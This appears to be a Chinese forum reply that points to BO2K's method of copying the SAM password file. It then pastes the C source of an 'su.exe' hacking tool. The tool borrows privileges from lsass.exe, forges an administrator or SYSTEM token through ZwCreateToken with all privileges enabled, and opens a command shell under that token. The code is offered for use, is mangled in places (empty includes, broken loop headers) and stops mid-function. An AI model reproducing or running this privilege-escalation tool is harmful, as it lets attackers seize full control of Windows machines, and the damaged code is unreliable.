BO2K的那个拷贝SAM文件的方法

有些注册表的地方是不能修改的,你的这个不知道是不是权限问题。你可以参考一下BO2K的那个拷贝SAM文件的方法,他是更改了注册表以后实现的。如果还是不行看看这个有没有帮助:
/* su切换用户
* 2004/12/28 1.0,发现Bingle的wsu是假冒令牌,权限并没有真正设置.
* 2004/12/29 2.0,真正实现模拟用户令牌的动作.
* 2004/12/29 3.0,即使帐号禁止也可以模拟用户
* 2004/12/30 4.0, 可以模拟SYSTEM用户,权限24个,全部默认开放
* 2004/12/30 4.1 终端登陆用户可以获取管理员组/SYSTEM权限.普通用户失败.
* 2005/01/06 4.2 modified a bug
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include


#pragma comment(lib,"ws2_32")
#pragma comment(lib,"Advapi32")
#pragma comment(lib,"User32")
#pragma comment(lib,"Netapi32")

#define SIZE 1024
#define VERSION "4.2"

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define WINSTA_ALL (WINSTA_ACCESSCLIPBOARD|WINSTA_ACCESSGLOBALATOMS|WINSTA_CREATEDESKTOP| WINSTA_ENUMDESKTOPS|WINSTA_ENUMERATE|WINSTA_EXITWINDOWS|WINSTA_READATTRIBUTES | WINSTA_READSCREEN|WINSTA_WRITEATTRIBUTES|DELETE|READ_CONTROL| WRITE_DAC|WRITE_OWNER)
#define DESKTOP_ALL (DESKTOP_CREATEMENU|DESKTOP_CREATEWINDOW|DESKTOP_ENUMERATE|DESKTOP_HOOKCONTROL|DESKTOP_JOURNALPLAYBACK|DESKTOP_JOURNALRECORD|DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP|DESKTOP_WRITEOBJECTS|DELETE|READ_CONTROL| WRITE_DAC|WRITE_OWNER)
#define GENERIC_ACCESS (GENERIC_READ|GENERIC_WRITE|GENERIC_EXECUTE|GENERIC_ALL)
#define SE_GROUP_RESOURCE (0x20000000L)

typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef enum _LSA_TOKEN_INFORMATION_TYPE {
LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type
LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type
LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type
} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE;

typedef struct _LSA_TOKEN_INFORMATION_NULL
{
LARGE_INTEGER ExpirationTime;
PTOKEN_GROUPS Groups;
} LSA_TOKEN_INFORMATION_NULL, *PLSA_TOKEN_INFORMATION_NULL;

typedef NTSTATUS (__stdcall *PNtCreateToken)(
PHANDLE TokenHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
TOKEN_TYPE TokenType,
PLUID AuthenticationId,
PLARGE_INTEGER ExpirationTime,
PTOKEN_USER TokenUser,
PTOKEN_GROUPS TokenGroups,
PTOKEN_PRIVILEGES TokenPrivileges,
PTOKEN_OWNER TokenOwner,
PTOKEN_PRIMARY_GROUP TokenPrimaryGroup,
PTOKEN_DEFAULT_DACL TokenDefaultDacl,
PTOKEN_SOURCE TokenSource
);


typedef struct _PROFILEINFO {
DWORD dwSize;
DWORD dwFlags;
LPTSTR lpUserName;
LPTSTR lpProfilePath;
LPTSTR lpDefaultPath;
LPTSTR lpServerName;
LPTSTR lpPolicyPath;
HANDLE hProfile;
} PROFILEINFO, *LPPROFILEINFO;

typedef BOOL (__stdcall *PLoadUserProfile)(
HANDLE hToken, // user token
LPPROFILEINFO lpProfileInfo // profile
);


typedef BOOL (__stdcall *PUnloadUserProfile)(
HANDLE hToken, // user token
HANDLE hProfile // handle to registry key
);
BOOL cback = 0;
char *system_user = NULL;
int lsasspid = 0;
unsigned int DebugLevel = 7;

/* 函数定义开始 */
void usage(char *s);
int GrantPriv();
HANDLE CreateTokenAsUser(char *user);
BOOL ConvertSidToStringSid(PSID pSid,LPTSTR TextualSid, LPDWORD lpdwBufferLen);
BOOL GetUserGroup(char *username,char ***name,int *groupcount);
PSID GetUserSid(char *LookupUser);
HANDLE NtCreateTokenAsuser(char *user);
int GrantPrivFromLsass(int pid);
void *GetFromToken(HANDLE hToken, TOKEN_INFORMATION_CLASS tic);
void pfree(void *p);
LUID GetLuidFromText(char *s);
TOKEN_PRIVILEGES *MakeAdminPriv();
BOOL AddUserPrivToHandle(HANDLE Hhandle,char *s,ACCESS_MODE mode);

/* 函数定义结束 */
int main(int argc,char **argv)
{
int i;
WSADATA wsd;
HANDLE NewToken;
PLoadUserProfile LoadUserProfile;
PUnloadUserProfile UnloadUserProfile;
HMODULE UserenvModule;

printf( "su.exe like unix su tool,version %s /n"
"by bkbll (bkbll#cnhonker.net) http://www.cnhonker.com/n/n",VERSION);

if((argc>1) && (strnicmp(argv[1],"-h",2) == 0))
{
usage(argv[0]);
return -1;
}
for(i=1;i {
if(strlen(argv[i]) != 2)
{
usage(argv[0]);
return -1;
}
switch(argv[i][1])
{
case 'u':
system_user = argv[i+1];
break;
case 'D':
DebugLevel = atoi(argv[i+1]);
break;

}
}
if(system_user == NULL)
{
usage(argv[0]);
return -1;
}
UserenvModule = LoadLibrary("Userenv.dll");
if(UserenvModule == NULL )
{
printf("[-] GetModuleHandle Userenv error:%d/n",GetLastError());
return -1;
}
LoadUserProfile = (PLoadUserProfile) GetProcAddress(UserenvModule,"LoadUserProfileA");
if(LoadUserProfile == NULL)
{
printf("[-] GetProcAddress LoadUserProfile error:%d/n",GetLastError());
return -1;
}

UnloadUserProfile = (PUnloadUserProfile) GetProcAddress(UserenvModule,"UnloadUserProfile");
if(UnloadUserProfile == NULL)
{
printf("[-] GetProcAddress UnloadUserProfile error:%d/n",GetLastError());
return -1;
}

if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("[-] WSAStartup error:%d/n", WSAGetLastError());
return -1;
}
//首先建立一个TOKEN,这里假设是ADMIN用户
//提升自己权限,先.
printf("[+] Enable SeDebugPrivilege../n");
if(GrantPriv("SeDebugPrivilege") < 0)
return -1;
printf("[+] Get Lsass.exe Pid....");
fflush(NULL);
lsasspid = GetPidOfProcess("lsass.exe");
if(lsasspid == -1)
{
printf("Get Pid of services failed/n");
return -1;
}
printf("%d/n",lsasspid);
//从Lsass继承权限.
printf("[+] GrantPrivilege From Lsass ..../n");
if(GrantPrivFromLsass(lsasspid) == 0)
{
//建立一个TOKEN
//NewToken = CreateTokenAsUser(system_user);
printf("[+] Calling NtCreateTokenAsuser .../n");
NewToken = NtCreateTokenAsuser(system_user);
if(NewToken != INVALID_HANDLE_VALUE)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
PROFILEINFO ProfileInfo;


printf("[+] CreateProcess By that Token.../n");
fflush(stdout);
Sleep(1000);
LoadUserProfile(NewToken,&ProfileInfo);

ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
//si.lpDesktop = TEXT("winstaABC//testdesktop");
ZeroMemory( &pi, sizeof(pi) );
if( !CreateProcessAsUser( NewToken,
NULL, // No module name (use command line).
"cmd", // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
TRUE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ) // Pointer to PROCESS_INFORMATION structure.
)
{
printf( "CreateProcessAsuser failed:%d.",GetLastError());
exit(0);
}

// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf("[-] Process exited./n");
UnloadUserProfile(NewToken,ProfileInfo.hProfile);
CloseHandle(NewToken);
//用这个Token建立进程
}
}
WSACleanup();
exit(0);
}
//获得指定exe的PID
int GetPidOfProcess(char *exe)
{
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32;
int pid;

memset(&pe32,0,sizeof(PROCESSENTRY32));
pid = -1;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot Failed:%d/n",GetLastError());
return pid;
}
//copy from MSDN
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hProcessSnap, &pe32))
{
do
{
if(stricmp(pe32.szExeFile,exe) == 0)
{
pid = pe32.th32ProcessID;
break;
}
//printf( "PID:%d/n", pe32.th32ProcessID);
//printf( "exepath:%s/n", pe32.szExeFile);
} while(Process32Next(hProcessSnap, &pe32));
}
else
return pid;
// Do not forget to clean up the snapshot object.
CloseHandle(hProcessSnap);
return pid;
}
//返回指定用户/组的SID
PSID GetUserSid(char *LookupUser)
{
SID *GroupSid;
//char StringSid[SIZE];
//DWORD SidSize,GroupCount;
char *DomainName;
//**UserGroup,*CurrentUser;
DWORD cbSid,cbDomainName;
SID_NAME_USE peUse;
int ErrorCode,i;

cbDomainName = 0;
cbSid = 0;
LookupAccountName(NULL,LookupUser,NULL,&cbSid,NULL,&cbDomainName,&peUse);
ErrorCode = GetLastError();
if(ErrorCode == ERROR_INSUFFICIENT_BUFFER) //122
{
//printf("Buffer is small. require cbSid %d bytes,cbDomainName %d bytes/n",cbSid,cbDomainName);
GroupSid = (SID *) malloc(cbSid + 1);
DomainName = (char*) malloc(cbDomainName + 1);
if((GroupSid == NULL) || (DomainName == NULL))
{
printf("Malloc failed:%d/n",GetLastError());
return NULL;
}
memset(GroupSid,0,cbSid + 1);
memset(DomainName,0,cbDomainName + 1);
}
else
{
printf("LookupAccountName in GetUserSid(/"%s/") Failed:%d/n",LookupUser,ErrorCode);
return NULL;
}
if(!LookupAccountName(NULL,LookupUser,GroupSid,&cbSid,DomainName,&cbDomainName,&peUse))
{
printf("LookupAccountName GetUserSid(/"%s/") After Malloc Failed:%d/n",LookupUser,GetLastError());
return NULL;
}
pfree(DomainName);
return GroupSid;
}

//建立Administrators和SYSTEM 共用的privilege
TOKEN_PRIVILEGES *MakeAdminPriv()
{
TOKEN_PRIVILEGES *token_privileges;
DWORD i,PrivilegeCount;

i = 0;
PrivilegeCount = 24;
token_privileges = (PTOKEN_PRIVILEGES) malloc(4 + (3*4)*PrivilegeCount + 4);
if(token_privileges == NULL)
{
printf("malloc failed for PTOKEN_PRIVILEGES in NtCreateTokenAsuser/n");
return NULL;
}
token_privileges->PrivilegeCount = PrivilegeCount;
//0
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeTcbPrivilege");
//1
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeCreateTokenPrivilege");
//2
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeTakeOwnershipPrivilege");
//3
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeCreatePagefilePrivilege");
//4
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeLockMemoryPrivilege");
//5
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeAssignPrimaryTokenPrivilege");
//6
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeIncreaseQuotaPrivilege");
//7
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeIncreaseBasePriorityPrivilege");
//8
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeCreatePermanentPrivilege");
//9
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeDebugPrivilege");
//10
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeAuditPrivilege");
//11
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeSecurityPrivilege");
//12
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeSystemEnvironmentPrivilege");
//13
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeChangeNotifyPrivilege");
//14
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeBackupPrivilege");
//15
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeRestorePrivilege");
//16
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeShutdownPrivilege");
//17
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeLoadDriverPrivilege");
//18
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeProfileSingleProcessPrivilege");
//19
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeSystemtimePrivilege");
//20
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeUndockPrivilege");
//21
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeManageVolumePrivilege");
//22
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeImpersonatePrivilege");
//23
token_privileges->Privileges[i].Attributes = 3;
token_privileges->Privileges[i++].Luid = GetLuidFromText("SeCreateGlobalPrivilege");

return token_privileges;

}
//加用户到HANDLE
BOOL AddUserPrivToHandle(HANDLE Hhandle,char *s,ACCESS_MODE mode)
{
PSECURITY_DESCRIPTOR pSecurityDescriptor1,pSD = NULL;
DWORD size,size1,len,ErrorCode,DaclPresent,DaclDefaulted,dwAbsoluteSDSize,dwDaclSize,dwSaclSize,dwOwnerSize,dwPrimaryGroupSize;
ACL OldAcl;
PACL POldAcl,PNewAcl,pDacl,pSacl;
PSID pOwner,pPrimaryGroup;
EXPLICIT_ACCESS ExplicitAccess1;
SECURITY_INFORMATION sinfo;

dwAbsoluteSDSize = dwDaclSize = dwSaclSize = dwOwnerSize = dwPrimaryGroupSize = 0;

size = 0;
sinfo = DACL_SECURITY_INFORMATION;
//获得SECURITY_DESCRIPTOR
GetUserObjectSecurity(Hhandle,&sinfo,pSD,size,&len);
ErrorCode = GetLastError();
if(ErrorCode == ERROR_INSUFFICIENT_BUFFER) //122
{
pSD = (PSECURITY_DESCRIPTOR) malloc(len + 1);
if(pSD == NULL)
{
printf("Malloc failed:%d/n",GetLastError());
return FALSE;
}
memset(pSD,0,len + 1);
size = len;
}
else
{
printf("GetUserObjectSecurity in AddUserPrivToHandle(/"%s/") Failed:%d/n",s,ErrorCode);
return FALSE;
}
if(!GetUserObjectSecurity(Hhandle,&sinfo,pSD,size,&len))
{
printf("GetUserObjectSecurity in AddUserPrivToHandle(/"%s/") Failed:%d/n",s,ErrorCode);
return FALSE;
}
//获得DACL
POldAcl = NULL;
if(!GetSecurityDescriptorDacl(pSD,&DaclPresent,&POldAcl,&DaclDefaulted))
{
printf("GetSecurityDescriptorDacl Error:%d/n",GetLastError());
return FALSE;
}
//重新生成一个ACL,然后在后面合并进去,给administrators组全部的权限.
memset(&ExplicitAccess1,0,sizeof(ExplicitAccess1));
BuildExplicitAccessWithName(&ExplicitAccess1,s,mode,GRANT_ACCESS,NO_INHERITANCE);
//合并权限
ErrorCode = SetEntriesInAcl(1,&ExplicitAccess1,POldAcl,&PNewAcl);
if(ErrorCode != ERROR_SUCCESS)
{
printf("SetEntriesInAcl Error:%d/n",ErrorCode);
return FALSE;
}

dwAbsoluteSDSize = 0x400;
pSecurityDescriptor1 = (PSECURITY_DESCRIPTOR) malloc(dwAbsoluteSDSize+1);
if(pSecurityDescriptor1 == NULL)
{
printf("Malloc for MakeAbsoluteSD failed:%d/n",GetLastError());
return FALSE;
}
memset(pSecurityDescriptor1,0,dwAbsoluteSDSize+1);

MakeAbsoluteSD( pSD,
pSecurityDescriptor1,
&dwAbsoluteSDSize,
NULL,
&dwDaclSize,
NULL,
&dwSaclSize,
NULL,
&dwOwnerSize,
NULL,
&dwPrimaryGroupSize);
//申请内存先.
ErrorCode = GetLastError();

if(ErrorCode == ERROR_INSUFFICIENT_BUFFER)
{
//申请内存
//printf("申请内存大小:/ndwDaclSize=%d/ndwSaclSize=%d/ndwOwnerSize=%d/ndwPrimaryGroupSize=%d/ndwAbsoluteSDSize=%d/n",
// dwDaclSize,dwSaclSize,dwOwnerSize,dwPrimaryGroupSize,dwAbsoluteSDSize);
//
//pSecurityDescriptor1 = (PSECURITY_DESCRIPTOR) malloc(dwAbsoluteSDSize+1);
pDacl = (PACL) malloc(dwDaclSize+1);
pSacl = (PACL) malloc(dwSaclSize+1);
pOwner = (PSID) malloc(dwOwnerSize+1);
pPrimaryGroup = (PSID) malloc(dwPrimaryGroupSize+1);

if( //(pSecurityDescriptor1 == NULL) ||
(pDacl == NULL) ||
(pSacl == NULL) ||
(pOwner == NULL) ||
(pPrimaryGroup == NULL))
{
printf("Malloc for MakeAbsoluteSD failed:%d/n",GetLastError());
return FALSE;
}
//memset(pSecurityDescriptor1,0,dwAbsoluteSDSize+1);
}
else
{
printf("MakeAbsoluteSD Error:%d/n",GetLastError());
return FALSE;
}
//申请后就可以接受了
if(!MakeAbsoluteSD(pSD,
pSecurityDescriptor1,
&dwAbsoluteSDSize,
pDacl,
&dwDaclSize,
pSacl,
&dwSaclSize,
pOwner,
&dwOwnerSize,
pPrimaryGroup,
&dwPrimaryGroupSize))
{
printf("MakeAbsoluteSD After Malloc Error:%d/n",GetLastError());
return FALSE;
}
//printf("实际接受大小:/ndwDaclSize=%d/ndwSaclSize=%d/ndwOwnerSize=%d/ndwPrimaryGroupSize=%d/ndwAbsoluteSDSize=%d/n",
// dwDaclSize,dwSaclSize,dwOwnerSize,dwPrimaryGroupSize,size1);
//设置新的DACL
if(!SetSecurityDescriptorDacl(pSecurityDescriptor1,DaclPresent,PNewAcl,DaclDefaulted))
{
printf("SetSecurityDescriptorDacl Error:%d/n",GetLastError());
return FALSE;
}
//检查新的SecurityDescriptor是否合法
if(!IsValidSecurityDescriptor(pSecurityDescriptor1))
{
printf("pSecurityDescriptor1 is not a valid SD:%d/n",GetLastError());
return FALSE;
}

//给句柄设置新的ACL
if(!SetUserObjectSecurity(Hhandle,&sinfo,pSecurityDescriptor1))
{
printf("SetKernelObjectSecurity Error:%d/n",GetLastError());
return FALSE;
}
if(POldAcl)
LocalFree(POldAcl);
if(PNewAcl)
LocalFree(PNewAcl);
pfree(pSD);
pfree(pSecurityDescriptor1);
pfree(pDacl);
pfree(pSacl);
pfree(pOwner);
pfree(pPrimaryGroup);
return TRUE;
}

//根据指定用户名来建立Token
HANDLE NtCreateTokenAsuser(char *user)
{
SID *GroupSid,*UserSid;
char StringSid[SIZE],UserDefaultGroup[SIZE];
DWORD SidSize,GroupCount,GroupCount2,IsNotUsersGroup = 1;
char *DomainName,**UserGroup,*CurrentUser;
DWORD cbSid,cbDomainName,SessionId,sessionlen;
SID_NAME_USE peUse;
int ErrorCode,i;
LUID Luid = ANONYMOUS_LOGON_LUID;
//LUID Luid = SYSTEM_LUID;
SECURITY_QUALITY_OF_SERVICE security_quality_of_service =
{
sizeof( security_quality_of_service ),
SecurityAnonymous,
SECURITY_STATIC_TRACKING,
FALSE
};
OBJECT_ATTRIBUTES object_attributes =
{
sizeof( object_attributes ),
NULL,
NULL,
0,
NULL,
&security_quality_of_service
};

TOKEN_SOURCE token_source;
TOKEN_PRIVILEGES *token_privileges;
TOKEN_GROUPS *token_groups;
TOKEN_USER token_user;
TOKEN_OWNER token_owner;
TOKEN_PRIMARY_GROUP token_primary_group;
TOKEN_DEFAULT_DACL token_default_dacl,*SelfDacl;
ACL NewAcl2,*NewAcl;
TOKEN_TYPE tokentype;
HANDLE token,SelfToken;
NTSTATUS ntstatus,ntstatus2;
PNtCreateToken NtCreateToken;
HMODULE ntdllmodule;
ACCESS_MASK DesiredAccess;
LARGE_INTEGER ExpireTime;
EXPLICIT_ACCESS ExplicitAccess;
//给winstation用的
HDESK hdesk;
HWINSTA hwinsta;
DWORD PrivilegeCount;
//是否是SYSTEM用户
DWORD IfIsSystemUser = 0,IfIsAdmin = 0;
//定义结束

//获取CreateToken地址
ntdllmodule = GetModuleHandle("ntdll");
if(ntdllmodule == NULL )
{
printf("[-] GetModuleHandle ntdll error:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
NtCreateToken = (PNtCreateToken) GetProcAddress(ntdllmodule,"ZwCreateToken");
if(NtCreateToken == NULL)
{
printf("[-] GetProcAddress NtCreateToken error:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}

if(stricmp(user,"system") == 0)
{
IfIsSystemUser = 1;
//Luid.LowPart = 0x3e7;
//Luid.HighPart = 0x0;
}
//arg 2 for NtCreateToken();
DesiredAccess = TOKEN_ALL_ACCESS;
//arg 3 for NtCreateToken();
//arg 4 for NtCreateToken();
//IN TOKEN_TYPE TokenType,
tokentype = TokenPrimary;
//arg 5 for NtCreateToken();
//memcpy(&Luid,&SYSTEM_LUID,sizeof(Luid));
/*
if(!AllocateLocallyUniqueId(&Luid))
{
printf("AllocateLocallyUniqueId Failed:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
*/
//arg 6 for NtCreateToken();
ExpireTime.LowPart = 0xffffffff;
ExpireTime.HighPart = 0x7fffffff;
//printf("sizeof(ExpireTime) = %d/n",sizeof(ExpireTime));
//QueryPerformanceFrequency(&ExpireTime);
//arg 7 for NtCreateToken();
//token_user正确
token_user.User.Sid = GetUserSid(user);
if(token_user.User.Sid == NULL)
return INVALID_HANDLE_VALUE;
token_user.User.Attributes = 0; //must be 0
if(IfIsSystemUser == 0) //一般用户
{
//arg 8 for NtCreateToken();
if(!GetUserGroup(user,&UserGroup,&GroupCount))
return INVALID_HANDLE_VALUE;
//printf("=====================/nGet %d groups/n",GroupCount);
//给token_groups申请内存
//看用户组里面有没有"Users"
IsNotUsersGroup = 1;
for(i=0;i {
CurrentUser = UserGroup[i];
if(stricmp(CurrentUser,"Users") == 0)
{
IsNotUsersGroup = 0;
continue;
}
if(stricmp(CurrentUser,"Administrators") == 0)
{
IfIsAdmin = 1;
continue;
}
}
//保存一下,后面要用
GroupCount2 = GroupCount;
//没有就+1,有就+0
GroupCount += IsNotUsersGroup + 2;
token_groups = (PTOKEN_GROUPS) malloc(4+(4+4)*GroupCount+1);
if(token_groups == NULL)
{
printf("Malloc for token_groups failed:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
//加"None","Everyone","INTERACTIVE" 组
//printf("GroupCount:%d/n",GroupCount);
token_groups->GroupCount = GroupCount;
//给第11个参数用
//memset(UserDefaultGroup,0,SIZE);
//strncpy(UserDefaultGroup,UserGroup[0],SIZE -1 );
//printf("GroupCount:%d/n",GroupCount);
//token_group需要最少加以下四个组:
//只有Users可能有用户或者帐号存在
//"None","Everyone","Users","INTERACTIVE"他们的ATTribute都是7
if(DebugLevel != 7)
{
printf("Using DebugLevel 0x%x /n",DebugLevel);
}
for(i=0;i {
//printf("%d:%s/n",i,UserGroup[i]);

CurrentUser = UserGroup[i];
GroupSid = GetUserSid(CurrentUser);
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i].Attributes = DebugLevel;
free(CurrentUser);
}
free(UserGroup);
/*
GroupSid = GetUserSid("None");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = DebugLevel;
*/
GroupSid = GetUserSid("Everyone");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = DebugLevel;

GroupSid = GetUserSid("INTERACTIVE");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = DebugLevel;

if(IsNotUsersGroup)
{
GroupSid = GetUserSid("Users");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = DebugLevel;
}
//arg 9 for NtCreateToken();
//这个倒没错
//先申请内存
if(IfIsAdmin == 0) //如果不是管理员组
{
PrivilegeCount = 2;
token_privileges = (PTOKEN_PRIVILEGES) malloc(4 + (3*4)*PrivilegeCount + 4);
if(token_privileges == NULL)
{
printf("malloc failed for PTOKEN_PRIVILEGES in NtCreateTokenAsuser/n");
return INVALID_HANDLE_VALUE;
}
token_privileges->PrivilegeCount = PrivilegeCount;
(token_privileges->Privileges)[0].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT;
(token_privileges->Privileges)[0].Luid = GetLuidFromText("SeChangeNotifyPrivilege");

(token_privileges->Privileges)[1].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT;
(token_privileges->Privileges)[1].Luid = GetLuidFromText("SeUndockPrivilege");
}
else
{
token_privileges = MakeAdminPriv();
if(token_privileges == NULL)
return INVALID_HANDLE_VALUE;
}
/*
if(!AllocateLocallyUniqueId(&(token_privileges.Privileges[0].Luid)))
{
printf("AllocateLocallyUniqueId for token_privileges Failed:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
*/
//arg 10 for NtCreateToken();
//正确的方法
token_owner.Owner = GetUserSid(user);
if(token_owner.Owner == NULL)
return INVALID_HANDLE_VALUE;
//arg 11 for NtCreateToken();
//PrimaryGroup统一都是None
token_primary_group.PrimaryGroup = GetUserSid(user);
if(token_primary_group.PrimaryGroup == NULL)
return INVALID_HANDLE_VALUE;
}
else
{
//设置usergroup
//三个组:administrators(0xe),everyone(0x7),Authenticated Users(0x7)
GroupCount = 2;
token_groups = (PTOKEN_GROUPS) malloc(4+(4+4)*GroupCount+1);
if(token_groups == NULL)
{
printf("Malloc for token_groups failed:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
token_groups->GroupCount = GroupCount;
//自定义的debuglevel
if(DebugLevel != 7)
{
printf("Using DebugLevel 0x%x /n",DebugLevel);
}
i = 0;
GroupSid = GetUserSid("administrators");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = 0xe;

GroupSid = GetUserSid("Everyone");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = DebugLevel;
/*
GroupSid = GetUserSid("Authenticated Users");
if(GroupSid == NULL)
return INVALID_HANDLE_VALUE;
token_groups->Groups[i].Sid = GroupSid;
token_groups->Groups[i++].Attributes = DebugLevel;
*/
//设置 token_privileges
token_privileges = MakeAdminPriv();
if(token_privileges == NULL)
return INVALID_HANDLE_VALUE;
//token_owner
token_owner.Owner = GetUserSid("administrators");
if(token_owner.Owner == NULL)
return INVALID_HANDLE_VALUE;
//arg 11 for NtCreateToken();
//PrimaryGroup统一都是None
token_primary_group.PrimaryGroup = GetUserSid("SYSTEM");
if(token_primary_group.PrimaryGroup == NULL)
return INVALID_HANDLE_VALUE;
}
//arg 12 for NtCreateToken();
//NULL?
//token_default_dacl
/*
token_default_dacl->DefaultDacl->AclRevision:2
token_default_dacl->DefaultDacl->Sbz1:0
token_default_dacl->DefaultDacl->AclSize:64
token_default_dacl->DefaultDacl->AceCount:2
token_default_dacl->DefaultDacl->Sbz2:0
*/
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &SelfToken))
{
printf("OpenProcessToken self Error:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
BuildExplicitAccessWithName(&ExplicitAccess,user,GENERIC_ALL,GRANT_ACCESS,NO_INHERITANCE);
SelfDacl = (PTOKEN_DEFAULT_DACL) GetFromToken(SelfToken,TokenDefaultDacl);
if(SelfDacl == NULL)
{
CloseHandle(SelfToken);
return INVALID_HANDLE_VALUE;
}
ErrorCode = SetEntriesInAcl(1,&ExplicitAccess,SelfDacl->DefaultDacl,&NewAcl);
if(ErrorCode != ERROR_SUCCESS)
{
printf("SetEntriesInAcl Under NtCreateTokenAsuser Failed:%d/n",ErrorCode);
CloseHandle(SelfToken);
return INVALID_HANDLE_VALUE;
}
//获得当前进程的SessionID,然后再同样set到新的token里面
//printf("SelfProcess:/n");
//DisplayTokenSessionId(SelfToken);
//SessionId,sessionlen;
sessionlen = sizeof(DWORD);
if(!GetTokenInformation(SelfToken,TokenSessionId,&SessionId,sessionlen,&sessionlen))
{
printf("GetTokenInformation TokenSessionId Failed:%d/n",GetLastError());
CloseHandle(SelfToken);
return INVALID_HANDLE_VALUE;
}
CloseHandle(SelfToken);
token_default_dacl.DefaultDacl = NewAcl;
/*
NewAcl2.AclRevision = 2;
NewAcl2.Sbz1 = 0;
NewAcl2.AclSize = 64;
NewAcl2.AceCount = 2;
NewAcl2.Sbz2 = 0;
ErrorCode = SetEntriesInAcl(0,NULL,NULL,&NewAcl);
if(ErrorCode != ERROR_SUCCESS)
{
printf("SetEntriesInAcl As new one failed:%d/n",ErrorCode);
return INVALID_HANDLE_VALUE;
}
token_default_dacl.DefaultDacl = NewAcl;
*/
//arg 13 for NtCreateToken();
//token_source
